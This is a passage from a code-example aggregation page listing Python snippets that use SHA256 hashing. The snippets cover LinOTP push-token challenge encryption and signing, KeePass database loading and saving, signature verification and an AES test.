        data_package += utf8_message + b'\x00'

        # ------------------------------------------------------------------- --

        # depending on function parameters add callback url
        # and/or callback sms number

        #            -----------------------------------------------------
        #  fields   | ... | callback url | NUL | callback sms | NUL | ... |
        #            -----------------------------------------------------
        #  size     |  ?  |       ?      |  1  |       ?      |  1  |  ?  |
        #            -----------------------------------------------------

        # ------------------------------------------------------------------- --

        if callback_url is not None:

            utf8_callback_url = callback_url.encode('utf8')

            # enforce max url length as specified in protocol

            if len(utf8_callback_url) > 511:
                raise InvalidFunctionParameter(
                    'callback_url', 'max string '
                    'length (encoded as utf8) is '
                    '511')

            data_package += utf8_callback_url + b'\x00'

        # ------------------------------------------------------------------- --

        if callback_sms_number is not None:

            utf8_callback_sms_number = callback_sms_number.encode('utf8')

            if len(utf8_callback_sms_number) > 31:
                raise InvalidFunctionParameter(
                    'callback_sms_number', 'max string length (encoded '
                    'as utf8) is 31')

            data_package += utf8_callback_sms_number + b'\x00'

        # ------------------------------------------------------------------- --

        if use_compression:
            maybe_compressed_data_package = zlib.compress(data_package, 9)
        else:
            maybe_compressed_data_package = data_package

        # ------------------------------------------------------------------- --

        # when content type is pairing the protocol specifies that
        # the server must send a hmac based signature with the
        # response

        sig = ''

        if flags & CHALLENGE_HAS_SIGNATURE:

            hmac_message = nonce + pt_header + maybe_compressed_data_package

            sig = HMAC.new(self.server_hmac_secret,
                           hmac_message,
                           digestmod=SHA256).digest()

            plaintext += sig

        # ------------------------------------------------------------------- --

        plaintext += maybe_compressed_data_package

        # ------------------------------------------------------------------- --

        user_message = nonce + pt_header + sig + data_package
        user_sig = HMAC.new(skB, user_message, digestmod=SHA256).digest()

        # the user sig will be given as urlsafe base64 in the
        # challenge response. for this reasons (and because we
        # need to serialize it into json) we convert the user_sig
        # into this format.

        user_sig = encode_base64_urlsafe(user_sig)

        # ------------------------------------------------------------------- --

        cipher = AES.new(skA, AES.MODE_EAX, nonce)
        cipher.update(data_header)
        ciphertext, tag = cipher.encrypt_and_digest(plaintext)

        raw_data = data_header + R + ciphertext + tag
        url = 'lseqr://chal/' + encode_base64_urlsafe(raw_data)

        return url, user_sig
Exemplo n.º 32
0
 def _verify_sign(self, sign_str: str, signature) -> bool:
     signer = PKCS1_v1_5.new(self._wechat_public_key)
     digest = SHA256.new(sign_str.encode())
     return signer.verify(digest, b64decode(signature))
Exemplo n.º 33
0
def sign(o, p):
    hash = SHA256.new(o)
    return pkcs1_15.new(p).sign(hash)
Exemplo n.º 34
0
    def decrypt_and_verify_challenge(self, challenge_url, action):

        """
        Decrypts the data packed in the challenge url, verifies
        its content, returns the parsed data as a dictionary,
        calculates and returns the signature.

        The calling method must then send the signature
        back to the server. (The reason for this control flow
        is that the challenge data must be checked in different
        scenarios, e.g. when we have a pairing the data must be
        checked by the method that simulates the pairing)

        :param challenge_url: the challenge url as sent by the server
        :param action: a string identifier for the verification action
            (at the moment 'ACCEPT' or 'DENY')

        :returns: (challenge, signature)

            challenge has the keys

                * content_type - one of the three values CONTENT_TYPE_SIGNREQ,
                    CONTENT_TYPE_PAIRING or CONTENT_TYPE_LOGIN)
                    (all defined in this module)
                * transaction_id - used to identify the challenge
                    on the server
                * callback_url (optional) - the url to which the challenge
                    response should be set
                * user_token_id - used to identify the token in the
                    user database for which this challenge was created

            depending on the content type additional keys are present

                * for CONTENT_TYPE_PAIRING: serial
                * for CONTENT_TYPE_SIGNREQ: message
                * for CONTENT_TYPE_LOGIN: login, host

            signature is the generated user signature used to
            respond to the challenge
        """

        challenge_data_encoded = challenge_url[len(self.uri + '://chal/'):]
        challenge_data = decode_base64_urlsafe(challenge_data_encoded)

        # ------------------------------------------------------------------ --

        # parse and verify header information in the
        # encrypted challenge data

        header = challenge_data[0:5]
        version, user_token_id = struct.unpack('<bI', header)
        self.assertEqual(version, CHALLENGE_URL_VERSION)

        # ------------------------------------------------------------------ --

        # get token from client token database

        token = self.tokens[user_token_id]
        server_public_key = token['server_public_key']

        # ------------------------------------------------------------------ --

        # prepare decryption by seperating R from
        # ciphertext and server signature

        R = challenge_data[5:5 + 32]
        ciphertext = challenge_data[5 + 32:-64]
        server_signature = challenge_data[-64:]

        # check signature

        data = challenge_data[0:-64]
        crypto_sign_verify_detached(server_signature, data, server_public_key)

        # ------------------------------------------------------------------ --

        # key derivation

        secret_key_dh = dsa_to_dh_secret(self.secret_key)
        ss = calc_dh(secret_key_dh, R)
        U = SHA256.new(ss).digest()

        sk = U[0:16]
        nonce = U[16:32]

        # ------------------------------------------------------------------ --

        # decrypt and verify challenge

        nonce_as_int = int_from_bytes(nonce, byteorder='big')
        ctr = Counter.new(128, initial_value=nonce_as_int)
        cipher = AES.new(sk, AES.MODE_CTR, counter=ctr)
        plaintext = cipher.decrypt(ciphertext)

        # ------------------------------------------------------------------ --

        # parse/check plaintext header

        # 1 - for content type
        # 8 - for transaction id
        # 8 - for time stamp
        offset = 1 + 8 + 8

        pt_header = plaintext[0:offset]
        (content_type,
         transaction_id,
         _time_stamp) = struct.unpack('<bQQ', pt_header)

        transaction_id = u64_to_transaction_id(transaction_id)

        # ------------------------------------------------------------------ --

        # prepare the parsed challenge data

        challenge = {}
        challenge['content_type'] = content_type

        # ------------------------------------------------------------------ --

        # retrieve plaintext data depending on content_type

        if content_type == CONTENT_TYPE_PAIRING:

            serial, callback_url, __ = plaintext[offset:].split('\x00')
            challenge['serial'] = serial

        elif content_type == CONTENT_TYPE_SIGNREQ:

            message, callback_url, __ = plaintext[offset:].split('\x00')
            challenge['message'] = message

        elif content_type == CONTENT_TYPE_LOGIN:

            login, host, callback_url, __ = plaintext[offset:].split('\x00')
            challenge['login'] = login
            challenge['host'] = host

        # ------------------------------------------------------------------ --

        # prepare the parsed challenge data

        challenge['callback_url'] = callback_url
        challenge['transaction_id'] = transaction_id
        challenge['user_token_id'] = user_token_id

        # calculate signature

        sig_base = (
            struct.pack('<b', CHALLENGE_URL_VERSION) +
            b'%s\0' % action +
            server_signature + plaintext)

        sig = crypto_sign_detached(sig_base, self.secret_key)
        encoded_sig = encode_base64_urlsafe(sig)

        return challenge, encoded_sig
Exemplo n.º 35
0
    def decrypt_and_verify_challenge(self, challenge_url, action):
        """
        Decrypts the data packed in the challenge url, verifies
        its content, returns the parsed data as a dictionary,
        calculates and returns the signature.

        The calling method must then send the signature
        back to the server. (The reason for this control flow
        is that the challenge data must be checked in different
        scenarios, e.g. when we have a pairing the data must be
        checked by the method that simulates the pairing)

        :param challenge_url: the challenge url as sent by the server
        :param action: a string identifier for the verification action
            (at the moment 'ACCEPT' or 'DENY')

        :returns: (challenge, signature)

            challenge has the keys

                * content_type - one of the three values CONTENT_TYPE_SIGNREQ,
                    CONTENT_TYPE_PAIRING or CONTENT_TYPE_LOGIN)
                    (all defined in this module)
                * transaction_id - used to identify the challenge
                    on the server
                * callback_url (optional) - the url to which the challenge
                    response should be set
                * user_token_id - used to identify the token in the
                    user database for which this challenge was created

            depending on the content type additional keys are present

                * for CONTENT_TYPE_PAIRING: serial
                * for CONTENT_TYPE_SIGNREQ: message
                * for CONTENT_TYPE_LOGIN: login, host

            signature is the generated user signature used to
            respond to the challenge
        """

        challenge_data_encoded = challenge_url[len('lseqr://chal/'):]
        challenge_data = decode_base64_urlsafe(challenge_data_encoded)

        # ------------------------------------------------------------------ --

        # parse and verify header information in the
        # encrypted challenge data

        header = challenge_data[0:5]
        version, user_token_id = struct.unpack('<bI', header)
        self.assertEqual(version, CHALLENGE_URL_VERSION)

        # ------------------------------------------------------------------ --

        # get token from client token database

        token = self.tokens[user_token_id]
        server_public_key = token['server_public_key']

        # ------------------------------------------------------------------ --

        # prepare decryption by seperating R from
        # ciphertext and server signature

        R = challenge_data[5:5 + 32]
        ciphertext = challenge_data[5 + 32:-64]
        server_signature = challenge_data[-64:]

        # check signature

        data = challenge_data[0:-64]
        crypto_sign_verify_detached(server_signature, data, server_public_key)

        # ------------------------------------------------------------------ --

        # key derivation

        secret_key_dh = dsa_to_dh_secret(self.secret_key)
        ss = calc_dh(secret_key_dh, R)
        U = SHA256.new(ss).digest()

        sk = U[0:16]
        nonce = U[16:32]

        # ------------------------------------------------------------------ --

        # decrypt and verify challenge

        nonce_as_int = int_from_bytes(nonce, byteorder='big')
        ctr = Counter.new(128, initial_value=nonce_as_int)
        cipher = AES.new(sk, AES.MODE_CTR, counter=ctr)
        plaintext = cipher.decrypt(ciphertext)

        # ------------------------------------------------------------------ --

        # parse/check plaintext header

        # 1 - for content type
        # 8 - for transaction id
        # 8 - for time stamp
        offset = 1 + 8 + 8

        pt_header = plaintext[0:offset]
        (content_type, transaction_id,
         _time_stamp) = struct.unpack('<bQQ', pt_header)

        transaction_id = u64_to_transaction_id(transaction_id)

        # ------------------------------------------------------------------ --

        # prepare the parsed challenge data

        challenge = {}
        challenge['content_type'] = content_type

        # ------------------------------------------------------------------ --

        # retrieve plaintext data depending on content_type

        if content_type == CONTENT_TYPE_PAIRING:

            serial, callback_url, __ = plaintext[offset:].split('\x00')
            challenge['serial'] = serial

        elif content_type == CONTENT_TYPE_SIGNREQ:

            message, callback_url, __ = plaintext[offset:].split('\x00')
            challenge['message'] = message

        elif content_type == CONTENT_TYPE_LOGIN:

            login, host, callback_url, __ = plaintext[offset:].split('\x00')
            challenge['login'] = login
            challenge['host'] = host

        # ------------------------------------------------------------------ --

        # prepare the parsed challenge data

        challenge['callback_url'] = callback_url
        challenge['transaction_id'] = transaction_id
        challenge['user_token_id'] = user_token_id

        # calculate signature

        sig_base = (struct.pack('<b', CHALLENGE_URL_VERSION) +
                    b'%s\0' % action + server_signature + plaintext)

        sig = crypto_sign_detached(sig_base, self.secret_key)
        encoded_sig = encode_base64_urlsafe(sig)

        return challenge, encoded_sig
Exemplo n.º 36
0
from Cryptodome.Hash import SHA256

hex_hash = SHA256.new(b"Hello world!").hexdigest()
print(hex_hash)
Exemplo n.º 37
0
def hash(data):
    h = SHA256.new()
    h.update(data)
    return h.hexdigest()
Exemplo n.º 38
0
def hash_file(filename):
    h = SHA256.new()
    with open(filename, "rb") as f:
        data = f.read()
        h.update(data)
    return h.digest()
Exemplo n.º 39
0
 def test_very_long_data(self):
     cipher = AES.new(b'A' * 32, AES.MODE_CTR, nonce=b'')
     ct = cipher.encrypt(b'B' * 1000000)
     digest = SHA256.new(ct).hexdigest()
     self.assertEqual(digest, "96204fc470476561a3a8f3b6fe6d24be85c87510b638142d1d0fb90989f8a6a6")
Exemplo n.º 40
0
def decrypt_pairing_response(enc_pairing_response):

    """
    Parses and decrypts a pairing response into a named tuple PairingResponse
    consisting of

    * user_public_key - the user's public key
    * user_token_id   - an id for the client to uniquely identify the token.
                        this id is necessary, because the client could
                        communicate with more than one linotp, so serials
                        could overlap.
    * serial - the serial identifying the token in linotp
    * user_login - the user login name

    It is possible that either user_login or serial is None. Both
    being None is a valid response according to this function but
    will be considered an error in the calling method.

    The following parameters are needed:

    :param enc_pairing_response:
        The urlsafe-base64 encoded string received from the client

    The following exceptions can be raised:

    :raises ParameterError:
        If the pairing response has an invalid format

    :raises ValueError:
        If the pairing response has a different version
        than this implementation (currently hardcoded)

    :raises ValueError:
        If the pairing response indicates a different
        token type than QRToken (also hardcoded)

    :raises ValueError:
        If the pairing response field "partition" is not
        identical to the field "token_type"
        ("partition" is currently used for the token
        type id. It is reserved for multiple key usage
        in a future implementation.)

    :raises ValueError:
        If the MAC of the response didn't match

    :return:
        Parsed/decrypted PairingReponse
    """

    data = decode_base64_urlsafe(enc_pairing_response)

    # ---------------------------------------------------------------------- --

    #            ------------------------------------------- --
    #  fields   | version | partition | R  | ciphertext | MAC |
    #            ------------------------------------------- --
    #  size     |    1    |     4     | 32 |      ?     | 16  |
    #            ------------------------------------------- --

    if len(data) < 1 + 4 + 32 + 16:
        raise ParameterError('Malformed pairing response')

    # ---------------------------------------------------------------------- --

    # parse header

    header = data[0:5]
    version, partition = struct.unpack('<bI', header)

    if version != PAIR_RESPONSE_VERSION:
        raise ValueError('Unexpected pair-response version, '
                         'expected: %d, got: %d' %
                         (PAIR_RESPONSE_VERSION, version))

    # ---------------------------------------------------------------------- --

    R = data[5:32+5]
    ciphertext = data[32+5:-16]
    mac = data[-16:]

    # ---------------------------------------------------------------------- --

    # calculate the shared secret

    # - --

    secret_key = get_dh_secret_key(partition)
    ss = calc_dh(secret_key, R)

    # derive encryption key and nonce from the shared secret
    # zero the values from memory when they are not longer needed
    U = SHA256.new(ss).digest()
    zerome(ss)
    encryption_key = U[0:16]
    nonce = U[16:32]
    zerome(U)

    # decrypt response
    cipher = AES.new(encryption_key, AES.MODE_EAX, nonce)
    cipher.update(header)
    plaintext = cipher.decrypt_and_verify(ciphertext, mac)
    zerome(encryption_key)

    # ---------------------------------------------------------------------- --

    # check format boundaries for type peaking
    # (token type specific length boundaries are checked
    #  in the appropriate functions)

    plaintext_min_length = 1
    if len(data) < plaintext_min_length:
        raise ParameterError('Malformed pairing response')

    # ---------------------------------------------------------------------- --

    # get token type and parse decrypted response

    #            -------------------- --
    #  fields   | token type |   ...   |
    #            -------------------- --
    #  size     |     1      |    ?    |
    #            -------------------- --

    token_type = struct.unpack('<b', plaintext[0])[0]

    if token_type not in SUPPORTED_TOKEN_TYPES:
        raise ValueError('unsupported token type %d, supported types '
                         'are %s' % (token_type, SUPPORTED_TOKEN_TYPES))

    # ---------------------------------------------------------------------- --

    # delegate the data parsing of the plaintext
    # to the appropriate function and return the result

    data_parser = get_pairing_data_parser(token_type)
    pairing_data = data_parser(plaintext)
    zerome(plaintext)

    # get the appropriate high level type

    try:
        token_type_as_str = INV_TOKEN_TYPES[token_type]
    except KeyError:
        raise ProgrammingError('token_type %d is in SUPPORTED_TOKEN_TYPES',
                               'however an appropriate mapping entry in '
                               'TOKEN_TYPES is missing' % token_type)

    return PairingResponse(token_type_as_str, pairing_data)
Exemplo n.º 41
0
    def load(self, buf = None):
        """This method opens an existing database.

        self.password/self.keyfile and self.filepath must be set.
        
        """

        if self.password is None and self.keyfile is None:
            raise KPError('Need a password or keyfile')
        elif self.filepath is None and buf is None:
            raise KPError('Can only load an existing database!')
        
        if buf is None:
            buf = self.read_buf()
        
        # The header is 124 bytes long, the rest is content
        header = buf[:124]
        crypted_content = buf[124:]
        del buf
        
        # The header holds two signatures
        if not (struct.unpack('<I', header[:4])[0] == 0x9AA2D903 and
                struct.unpack('<I', header[4:8])[0] == 0xB54BFB65):
            del crypted_content
            del header
            raise KPError('Wrong signatures!')

        # Unpack the header
        self._enc_flag = struct.unpack('<I', header[8:12])[0]
        self._version = struct.unpack('<I', header[12:16])[0]
        self._final_randomseed = struct.unpack('<16s', header[16:32])[0]
        self._enc_iv = struct.unpack('<16s', header[32:48])[0]
        self._num_groups = struct.unpack('<I', header[48:52])[0]
        self._num_entries = struct.unpack('<I', header[52:56])[0]
        self._contents_hash = struct.unpack('<32s', header[56:88])[0]
        self._transf_randomseed = struct.unpack('<32s', header[88:120])[0]
        self._key_transf_rounds = struct.unpack('<I', header[120:124])[0]
        del header

        # Check if the database is supported
        if self._version & 0xFFFFFF00 != 0x00030002 & 0xFFFFFF00:
            del crypted_content
            raise KPError('Unsupported file version!')
        #Actually, only AES is supported.
        elif not self._enc_flag & 2:
            del crypted_content
            raise KPError('Unsupported file encryption!')
        
        if self.password is None:
            masterkey = self._get_filekey()
        elif self.password is not None and self.keyfile is not None:
            passwordkey = self._get_passwordkey()
            filekey = self._get_filekey()
            sha = SHA256.new()
            sha.update(passwordkey+filekey)
            masterkey = sha.digest()
        else:
            masterkey = self._get_passwordkey()

        # Create the key that is needed to...
        final_key = self._transform_key(masterkey)
        # ...decrypt the content
        decrypted_content = self._cbc_decrypt(final_key, crypted_content)

        # Check if decryption failed
        if ((len(decrypted_content) > 2147483446) or
            (len(decrypted_content) == 0 and self._num_groups > 0)):
            del decrypted_content
            del crypted_content
            raise KPError("Decryption failed!\nThe key is wrong or the file is"
                          " damaged.")

        sha_obj = SHA256.new()
        sha_obj.update(decrypted_content)
        if not self._contents_hash == sha_obj.digest():
            del masterkey
            del final_key
            raise KPError("Hash test failed.\nThe key is wrong or the file is "
                          "damaged.")
        del masterkey
        del final_key

        # Read out the groups
        pos = 0
        levels = []
        cur_group = 0
        group = v1Group()

        while cur_group < self._num_groups:
            # Every group is made up of single fields
            field_type = struct.unpack('<H', decrypted_content[:2])[0]
            decrypted_content = decrypted_content[2:]
            pos += 2

            # Check if offset is alright
            if pos >= len(crypted_content)+124:
                del decrypted_content
                del crypted_content
                raise KPError('Unexpected error: Offset is out of range.[G1]')
            
            field_size = struct.unpack('<I', decrypted_content[:4])[0]
            decrypted_content = decrypted_content[4:]
            pos += 4
            
            if pos >= len(crypted_content)+124:
                del decrypted_content
                del crypted_content
                raise KPError('Unexpected error: Offset is out of range.[G2]')

            # Finally read out the content
            b_ret = self._read_group_field(group, levels, field_type,
                                           field_size, decrypted_content)

            # If the end of a group is reached append it to the groups array
            if field_type == 0xFFFF and b_ret == True:
                group.db = self
                self.groups.append(group)
                group = v1Group()
                cur_group += 1
            
            decrypted_content = decrypted_content[field_size:]

            if pos >= len(crypted_content)+124:
                del decrypted_content
                del crypted_content
                raise KPError('Unexpected error: Offset is out of range.[G1]')

        # Now the same with the entries
        cur_entry = 0
        entry = v1Entry()
        
        while cur_entry < self._num_entries:
            field_type = struct.unpack('<H', decrypted_content[:2])[0]
            decrypted_content = decrypted_content[2:]
            pos += 2
             
            if pos >= len(crypted_content)+124:
                del decrypted_content
                del crypted_content
                raise KPError('Unexpected error: Offset is out of range.[G1]')
            
            field_size = struct.unpack('<I', decrypted_content[:4])[0]
            decrypted_content = decrypted_content[4:]
            pos += 4
            
            if pos >= len(crypted_content)+124:
                del decrypted_content
                del crypted_content
                raise KPError('Unexpected error: Offset is out of range.[G2]')
            
            b_ret = self._read_entry_field(entry, field_type, field_size,
                                      decrypted_content)
            
            if field_type == 0xFFFF and b_ret == True:
                self.entries.append(entry)
                if entry.group_id is None:
                    del decrypted_content
                    del crypted_content
                    raise KPError("Found entry without group!")

                entry = v1Entry()
                cur_entry += 1
            
            decrypted_content = decrypted_content[field_size:]
            pos += field_size
            
            if pos >= len(crypted_content)+124:
                del decrypted_content
                del crypted_content
                raise KPError('Unexpected error: Offset is out of range.[G1]')

        if self._create_group_tree(levels) is False:
            del decrypted_content
            del crypted_content
            return False

        del decrypted_content
        del crypted_content

        if self.filepath is not None:
            with open(self.filepath+'.lock', 'w') as handler:
                handler.write('')
        return True
Exemplo n.º 42
0
    def _get_passwordkey(self):
        """This method just hashes self.password."""

        sha = SHA256.new()
        sha.update(self.password.encode('utf-8'))
        return sha.digest()
Exemplo n.º 43
0
    def create_challenge_url(self,
                             transaction_id,
                             content_type,
                             callback_url='',
                             message=None,
                             login=None,
                             host=None):

        """
        creates a challenge url (looking like lseqr://push/<base64string>),
        returns the url and the unencrypted challenge data

        :param transaction_id: The transaction id generated by LinOTP

        :param content_type: One of the types CONTENT_TYPE_SIGNREQ,
            CONTENT_TYPE_PAIRING, CONTENT_TYPE_LOGIN

        :param callback_url: callback url (optional), default is
            empty string

        :param message: the transaction message, that should be signed
            by the client. Only for content type CONTENT_TYPE_SIGNREQ

        :param login: the login name of the user. Only for content type
            CONTENT_TYPE_LOGIN

        :param host: hostname of the user. Only for content type
            CONTENT_TYPE_LOGIN

        :returns: tuple (challenge_url, sig_base), with challenge_url being
            the push url and sig_base the message, that is used for
            the client signature
        """

        serial = self.getSerial()

        # ------------------------------------------------------------------- --

        # sanity/format checks

        if content_type not in [CONTENT_TYPE_SIGNREQ,
                                CONTENT_TYPE_PAIRING, CONTENT_TYPE_LOGIN]:
            raise InvalidFunctionParameter('content_type', 'content_type must '
                                           'be CONTENT_TYPE_SIGNREQ, '
                                           'CONTENT_TYPE_PAIRING or '
                                           'CONTENT_TYPE_LOGIN.')

        # ------------------------------------------------------------------- --

        #  after the lseqr://push/ prefix the following data is encoded
        #  in urlsafe base64:

        #            ---------------------------------------------------
        #  fields   | version | user token id |  R  | ciphertext | sign |
        #            ---------------------------------------------------
        #           |          header         |          body           |
        #            ---------------------------------------------------
        #  size     |    1    |       4       |  32 |      ?     |  64  |
        #            ---------------------------------------------------
        #

        # create header

        user_token_id = self.getFromTokenInfo('user_token_id')
        data_header = struct.pack('<bI', CHALLENGE_URL_VERSION, user_token_id)

        # ------------------------------------------------------------------- --

        # create body

        r = urandom(32)
        R = calc_dh_base(r)

        b64_user_dsa_public_key = self.getFromTokenInfo('user_dsa_public_key')
        user_dsa_public_key = b64decode(b64_user_dsa_public_key)
        user_dh_public_key = dsa_to_dh_public(user_dsa_public_key)

        ss = calc_dh(r, user_dh_public_key)
        U = SHA256.new(ss).digest()
        zerome(ss)

        sk = U[0:16]
        nonce = U[16:32]
        zerome(U)

        # ------------------------------------------------------------------- --

        # create plaintext section

        # ------------------------------------------------------------------- --

        # generate plaintext header

        #            ------------------------------------------------
        #  fields   | content_type  | transaction_id | timestamp | ..
        #            ------------------------------------------------
        #  size     |       1       |        8       |     8     |  ?
        #            -------------------------------------------------

        transaction_id = transaction_id_to_u64(transaction_id)
        plaintext = struct.pack('<bQQ', content_type, transaction_id,
                                int(time.time()))

        # ------------------------------------------------------------------- --

        utf8_callback_url = callback_url.encode('utf8')

        # enforce max url length as specified in protocol

        if len(utf8_callback_url) > 511:
            raise InvalidFunctionParameter('callback_url', 'max string '
                                           'length (encoded as utf8) is '
                                           '511')

        # ------------------------------------------------------------------- --

        # create data package depending on content type

        # ------------------------------------------------------------------- --

        if content_type == CONTENT_TYPE_PAIRING:

            #            -----------------------------------------
            #  fields   | header | serial | NUL | callback | NUL |
            #            -----------------------------------------
            #  size     |   9    |    ?   |  1  |     ?    |  1  |
            #            -----------------------------------------

            utf8_serial = serial.encode('utf8')

            if len(utf8_serial) > 63:
                raise ValueError('serial (encoded as utf8) can only be 63 '
                                 'characters long')

            plaintext += utf8_serial + b'\00' + utf8_callback_url + b'\00'

        # ------------------------------------------------------------------- --

        if content_type == CONTENT_TYPE_SIGNREQ:

            if message is None:
                raise InvalidFunctionParameter('message', 'message must be '
                                               'supplied for content type '
                                               'SIGNREQ')

            #            ------------------------------------------
            #  fields   | header | message | NUL | callback | NUL |
            #            ------------------------------------------
            #  size     |   9    |    ?    |  1  |     ?    |  1  |
            #            ------------------------------------------

            utf8_message = message.encode('utf8')

            # enforce max sizes specified by protocol

            if len(utf8_message) > 511:
                raise InvalidFunctionParameter('message', 'max string '
                                               'length (encoded as utf8) is '
                                               '511')

            plaintext += utf8_message + b'\00' + utf8_callback_url + b'\00'

        # ------------------------------------------------------------------- --

        if content_type == CONTENT_TYPE_LOGIN:

            if login is None:
                raise InvalidFunctionParameter('login', 'login must be '
                                               'supplied for content type '
                                               'LOGIN')
            if host is None:
                raise InvalidFunctionParameter('host', 'host must be '
                                               'supplied for content type '
                                               'LOGIN')

            #            -----------------------------------------------------
            #  fields   | header | login | NUL | host | NUL | callback | NUL |
            #            -----------------------------------------------------
            #  size     |   9    |   ?   |  1  |   ?  |  1  |     ?    |  1  |
            #            -----------------------------------------------------

            utf8_login = login.encode('utf8')
            utf8_host = host.encode('utf8')

            # enforce max sizes specified by protocol

            if len(utf8_login) > 127:
                raise InvalidFunctionParameter('login', 'max string '
                                               'length (encoded as utf8) is '
                                               '127')
            if len(utf8_host) > 255:
                raise InvalidFunctionParameter('host', 'max string '
                                               'length (encoded as utf8) is '
                                               '255')

            plaintext += utf8_login + b'\00'
            plaintext += utf8_host + b'\00'
            plaintext += utf8_callback_url + b'\00'

        # ------------------------------------------------------------------- --

        # encrypt inner layer

        nonce_as_int = int_from_bytes(nonce, byteorder='big')
        ctr = Counter.new(128, initial_value=nonce_as_int)
        cipher = AES.new(sk, AES.MODE_CTR, counter=ctr)
        ciphertext = cipher.encrypt(plaintext)
        unsigned_raw_data = data_header + R + ciphertext

        # ------------------------------------------------------------------- --

        # create signature

        partition = self.getFromTokenInfo('partition')
        secret_key = get_secret_key(partition)
        signature = crypto_sign_detached(unsigned_raw_data, secret_key)
        raw_data = unsigned_raw_data + signature

        protocol_id = config.get('mobile_app_protocol_id', 'lseqr')
        url = protocol_id + '://push/' + encode_base64_urlsafe(raw_data)

        return url, (signature + plaintext)
Exemplo n.º 44
0
    def save(self, filepath = None, password = None, keyfile = None):
        """This method saves the database.

        It's possible to parse a data path to an alternative file.

        """
        
        if (password is None and keyfile is not None and keyfile != "" and
            type(keyfile) is str):
            self.keyfile = keyfile
        elif (keyfile is None and password is not None and password != "" and
              type(password is str)):
            self.password = password
        elif (keyfile is not None and password is not None and
              keyfile != "" and password != "" and type(keyfile) is str and
              type(password) is str):
            self.keyfile = keyfile
            self.password = password

        if self.read_only:
            raise KPError("The database has been opened read-only.")
        elif ((self.password is None and self.keyfile is None) or 
              (filepath is None and self.filepath is None) or 
              (keyfile == "" and password == "")):
            raise KPError("Need a password/keyfile and a filepath to save the "
                          "file.")
        elif ((type(self.filepath) is not str and self.filepath is not None) or
              (type(self.password) is not str and self.password is not None) or
              (type(self.keyfile) is not str and self.keyfile is not None)):
            raise KPError("filepath, password and keyfile  must be strings.")
        elif self._num_groups == 0:
            raise KPError("Need at least one group!")
        
        content = bytearray()

        # First, read out all groups
        for i in self.groups:
            # Get the packed bytes
            # j stands for a possible field type
            for j in range(1, 10):
                ret_save = self._save_group_field(j, i)
                # The field type and the size is always in front of the data
                if ret_save is not False:
                    content += struct.pack('<H', j)
                    content += struct.pack('<I', ret_save[0])
                    content += ret_save[1]
            # End of field
            content += struct.pack('<H', 0xFFFF)
            content += struct.pack('<I', 0) 

        # Same with entries
        for i in self.entries:
            for j in range(1, 15):
                ret_save = self._save_entry_field(j, i)
                if ret_save is not False:
                    content += struct.pack('<H', j)
                    content += struct.pack('<I', ret_save[0])
                    content += ret_save[1]
            content += struct.pack('<H', 0xFFFF)
            content += struct.pack('<I', 0)

        # Generate new seed and new vector; calculate the new hash
        Random.atfork()
        self._final_randomseed = Random.get_random_bytes(16)
        self._enc_iv = Random.get_random_bytes(16)
        sha_obj = SHA256.new()
        sha_obj.update(bytes(content))
        self._contents_hash = sha_obj.digest()
        del sha_obj

        # Pack the header
        header = bytearray()
        header += struct.pack('<I', 0x9AA2D903)
        header += struct.pack('<I', 0xB54BFB65)
        header += struct.pack('<I', self._enc_flag)
        header += struct.pack('<I', self._version)
        header += struct.pack('<16s', self._final_randomseed)
        header += struct.pack('<16s', self._enc_iv)
        header += struct.pack('<I', self._num_groups)
        header += struct.pack('<I', self._num_entries)
        header += struct.pack('<32s', self._contents_hash)
        header += struct.pack('<32s', self._transf_randomseed)
        if self._key_transf_rounds < 150000:
            self._key_transf_rounds = 150000
        header += struct.pack('<I', self._key_transf_rounds)

        # Finally encrypt everything...
        if self.password is None:
            masterkey = self._get_filekey()
        elif self.password is not None and self.keyfile is not None:
            passwordkey = self._get_passwordkey()
            filekey = self._get_filekey()
            sha = SHA256.new()
            sha.update(passwordkey+filekey)
            masterkey = sha.digest()
        else:
            masterkey = self._get_passwordkey()
        final_key = self._transform_key(masterkey)
        encrypted_content = self._cbc_encrypt(content, final_key)
        del content
        del masterkey
        del final_key
        
        # ...and write it out
        if filepath is not None:
            try:
                handler = open(filepath, "wb")
            except IOError:
                raise KPError("Can't open {0}".format(filepath))
            if self.filepath is None:
                self.filepath = filepath
        elif filepath is None and self.filepath is not None:
            try:
                handler = open(self.filepath, "wb")
            except IOError:
                raise KPError("Can't open {0}".format(self.filepath))
        else:
            raise KPError("Need a filepath.")

        try:
            handler.write(header+encrypted_content)
        except IOError:
            raise KPError("Can't write to file.")
        finally:
            handler.close()
        
        if not path.isfile(self.filepath+".lock"):
            try:
                lock = open(self.filepath+".lock", "w")
                lock.write('')
            except IOError:
                raise KPError("Can't create lock-file {0}".format(self.filepath
                                                                  +".lock"))
            else:
                lock.close()
        return True
Exemplo n.º 45
0
async def sha256_rsa_checker(name: FormalName,
                             sig: SignaturePtrs,
                             key_bits=None) -> bool:
    sig_info = sig.signature_info
    if len(bytes(sig.signature_value_buf)) == 0:
        # For conditions without signature
        return True

    # print("Signature type: ", sig_info.signature_type)
    if key_bits is None:
        # Default RSA key
        key_bits = bytes([
            0x30, 0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48,
            0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01,
            0x0f, 0x00, 0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00,
            0xb8, 0x09, 0xa7, 0x59, 0x82, 0x84, 0xec, 0x4f, 0x06, 0xfa, 0x1c,
            0xb2, 0xe1, 0x38, 0x93, 0x53, 0xbb, 0x7d, 0xd4, 0xac, 0x88, 0x1a,
            0xf8, 0x25, 0x11, 0xe4, 0xfa, 0x1d, 0x61, 0x24, 0x5b, 0x82, 0xca,
            0xcd, 0x72, 0xce, 0xdb, 0x66, 0xb5, 0x8d, 0x54, 0xbd, 0xfb, 0x23,
            0xfd, 0xe8, 0x8e, 0xaf, 0xa7, 0xb3, 0x79, 0xbe, 0x94, 0xb5, 0xb7,
            0xba, 0x17, 0xb6, 0x05, 0xae, 0xce, 0x43, 0xbe, 0x3b, 0xce, 0x6e,
            0xea, 0x07, 0xdb, 0xbf, 0x0a, 0x7e, 0xeb, 0xbc, 0xc9, 0x7b, 0x62,
            0x3c, 0xf5, 0xe1, 0xce, 0xe1, 0xd9, 0x8d, 0x9c, 0xfe, 0x1f, 0xc7,
            0xf8, 0xfb, 0x59, 0xc0, 0x94, 0x0b, 0x2c, 0xd9, 0x7d, 0xbc, 0x96,
